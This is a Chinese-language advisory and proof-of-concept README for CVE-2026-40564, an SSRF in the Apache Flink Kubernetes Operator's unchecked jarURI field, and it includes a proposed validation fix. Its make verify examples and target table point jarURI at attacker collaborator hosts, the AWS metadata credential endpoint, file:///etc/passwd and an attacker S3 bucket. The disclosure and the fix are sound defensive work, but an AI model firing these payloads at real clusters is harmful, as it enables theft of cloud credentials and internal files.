Apache Flink Kubernetes Operator 不会检查 FlinkSessionJob(或 FlinkDeployment)资源上的 spec.job.jarURI 字段。任何能够创建这些资源的人都可以将 jarURI 设置为任意 URL。当 operator 协调该资源时,它会从自己的 Pod 内部获取该 URL。该 scheme 可以是 http、https、file 或 Flink 附带的任何文件系统插件,因此请求几乎可以到达 operator Pod 能到达的任何地方。
main(截至 2026-04-09 为 1.15-SNAPSHOT)[email protected] 和 [email protected]SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetchmake verify
此命令按顺序执行以下五个步骤:
jarURI 指向该 URL 的 FlinkSessionJob当它正常工作时,运行结束时的输出如下:
==> [5/5] verify-ssrf
target jarURI: https://webhook.site/<uuid>/exploit.jar
target is webhook.site, confirming via its REST API...
=== webhook.site captured requests (newest first) ===
2026-05-28 17:35:29 GET https://webhook.site/<uuid>/exploit.jar
User-Agent: Java/17.0.17
Source IP: 82.51.158.62
CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
Dashboard: https://webhook.site/#!/view/<uuid>
第一次运行大约需要 6 到 8 分钟。其中大部分时间是拉取 flink:1.17 镜像,大小约为 700 MB。后续运行大约需要 3 分钟。
docker、kind、kubectl 1.23 或更新版本、helm 3、make、curl 和 jq。集群需要能够访问互联网,以便与 webhook.site 通信。
默认情况下,Makefile 会为你获取一个新的 webhook.site URL。若要将请求发送到其他位置,请设置 SSRF_URL 为你想要的完整 jarURI。它将按原样使用。
# reuse a specific webhook.site URL
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar
# your own collaborator (Burp, interactsh, a netcat listener, and so on)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar
# the AWS instance metadata service
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# a non-http scheme handled by Flink's filesystem layer
make verify SSRF_URL=file:///etc/passwd
确认结果的方式取决于目标。如果 URL 在 webhook.site 上,Makefile 会读取其 REST API 并打印捕获的请求。对于其他情况,它会读取 operator 日志并查找 HttpArtifactFetcher.fetch 的堆栈帧,这表示 fetch 已执行。WEBHOOK_URL 也可用,含义与 SSRF_URL 相同。
make cleanup
这将移除 kind 集群。不会留下任何痕迹。
涉及三个类,它们都没有检查 jarURI 中的 scheme、主机或 IP。
DefaultValidator.validateJobSpec 检查 parallelism、升级模式、savepoint 设置和资源形态。它从未读取 job.getJarURI():
private Optional<String> validateJobSpec(
JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
if (job == null) return Optional.empty();
Configuration configuration = Configuration.fromMap(confMap);
// ... parallelism / upgradeMode / savepoint / resource checks ...
// job.getJarURI() is never inspected.
return Optional.empty();
}
ArtifactManager.fetch 根据 scheme 选择一个 fetcher。没有白名单,任何不是 http 或 https 的内容都会降级到 Flink 的文件系统层:
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
URI uri = new URI(jarURI);
if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
} else {
return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
}
}
HttpArtifactFetcher.fetch 按给定的 URL 打开连接。没有主机检查,没有 IP 范围检查,也没有任何阻止它访问回环或链路本地地址的措施:
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
URL url = new URL(uri);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
try (var inputStream = conn.getInputStream()) {
FileUtils.copyToFile(inputStream, targetFile);
}
return targetFile;
}
operator 通常拥有广泛的 RBAC 权限。官方 Helm chart 对多种资源类型授予了 * 权限,包括 secrets,并且 pod 通常可以不受限制地访问网络。如果攻击者能够让它替你发送请求,你可以:
FlinkSessionJob 状态中的错误信息读取结果在共享集群上,多个团队使用同一个 operator,其中任何一个团队都可以利用它访问其他团队的资源。
示例默认使用 webhook.site,但该漏洞不关心 URL 是什么。将 SSRF_URL 或编辑 manifests/vulnerable-sessionjob.yaml 设置为以下任意值:
jarURI | 可访问的目标 |
|---|---|
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | AWS IMDSv1,operator pod 节点的 IAM 凭证 |
http://10.0.0.1:6443/api | 集群内的 API server,或任何将 operator IP 加入白名单的内部端点 |
file:///etc/passwd | operator pod 自身的文件系统,通过文件系统 fetcher 分支 |
s3://attacker-bucket/x.jar | S3,使用 operator pod 的凭证 |
在 DefaultValidator.validateJobSpec 中添加检查:
if (job.getJarURI() != null) {
Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
if (uriError.isPresent()) return uriError;
}
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
URI uri;
try {
uri = new URI(jarURI);
} catch (URISyntaxException e) {
return Optional.of("jarURI is not a valid URI: " + e.getMessage());
}
String scheme = uri.getScheme();
if (scheme == null) return Optional.of("jarURI must include a scheme");
Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist");
}
if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
InetAddress addr;
try {
addr = InetAddress.getByName(uri.getHost());
} catch (UnknownHostException e) {
return Optional.of("jarURI host cannot be resolved");
}
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
|| addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
return Optional.of("jarURI host points to a restricted address");
}
}
return Optional.empty();
}
给 KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES 设置默认值 Set.of("https")。需要 s3 或其他 scheme 的操作员可以自行添加。
两件值得做的事情:
NetworkPolicy,阻止出口到链路本地(169.254.0.0/16)、回环地址以及已知的云元数据地址。Makefile 解决了两件在 Linux 上导致 kind 异常的问题。每个检查仅在问题实际存在时运行,因此可以安全地再次运行。
/etc/resolv.conf 指向 127.0.0.1,因此集群会将外部名称解析为 localhost。cluster-up 步骤重写了 CoreDNS 配置,使其转发到 1.1.1.1 和 8.8.8.8。ndots 设置为 5 时,像 webhook.site 这样的名称会先添加主机搜索域,有些 ISP 会为无法识别的子域名返回 127.0.0.1。install-operator 步骤为 operator pod 分配了自己的 dnsConfig,以避免这种情况。如果完整运行中途失败,你可以单独运行 make verify-ssrf。它会从正在运行的 FlinkSessionJob 中读取 jarURI,因此不依赖于本地保存的任何内容。